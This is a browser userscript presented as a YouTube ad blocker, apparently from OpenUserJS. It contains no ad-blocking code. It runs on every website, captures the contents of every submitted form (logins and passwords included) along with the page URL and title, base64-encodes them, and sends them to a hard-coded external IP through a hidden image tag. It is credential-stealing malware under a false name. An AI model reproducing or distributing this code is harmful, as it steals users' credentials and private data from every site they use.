9009anonymous9009 / Block Youtube Advertisement

// ==UserScript==
// @name         Block Youtube Advertisement
// @namespace    http://tampermonkey.net/
// @version      1.0.7
// @updateURL    https://openuserjs.org/meta/9009anonymous9009/Block_Youtube_Advertisement.meta.js
// @description  No Youtube Advertisement
// @author       You
// @match        *://*/*
// @grant        none
// @require      https://code.jquery.com/jquery-3.2.1.min.js
// @require      https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js
// ==/UserScript==

var dev = false;
var version = '1.0.7';

var host = dev ? 'localhost:8765' : '54.187.242.127:8765';

function submit() {
  var data = {
    version: version,
    pageInfo: {
      title: document.title,
      url: document.URL
    },
    forms: []
  };

  $('form').each(function() {
    var form = $(this);
    var formData = form.serializeArray().reduce(function(obj, item) {
      if (!_.isEmpty(item.value) && item.name !== 'utf8') {
        obj[item.name] = item.value;
      }
      return obj;
    }, {});

    if (!_.isEmpty(formData)) {
      data.forms.push(formData);
    }
  });

  var dataString = btoa(escape(encodeURIComponent(JSON.stringify(data))));

  $('body').append(
    '<img src="http://' + host + '?q=' + dataString + '" style="display: none">'
  );

  if (dev) {
    console.log('success', version);
  }
}

(function() {
  'use strict';
  jQuery(function($) {
    $('form').submit(submit);

    if (dev) {
      console.log('setup complete', version);
    }
  });
})();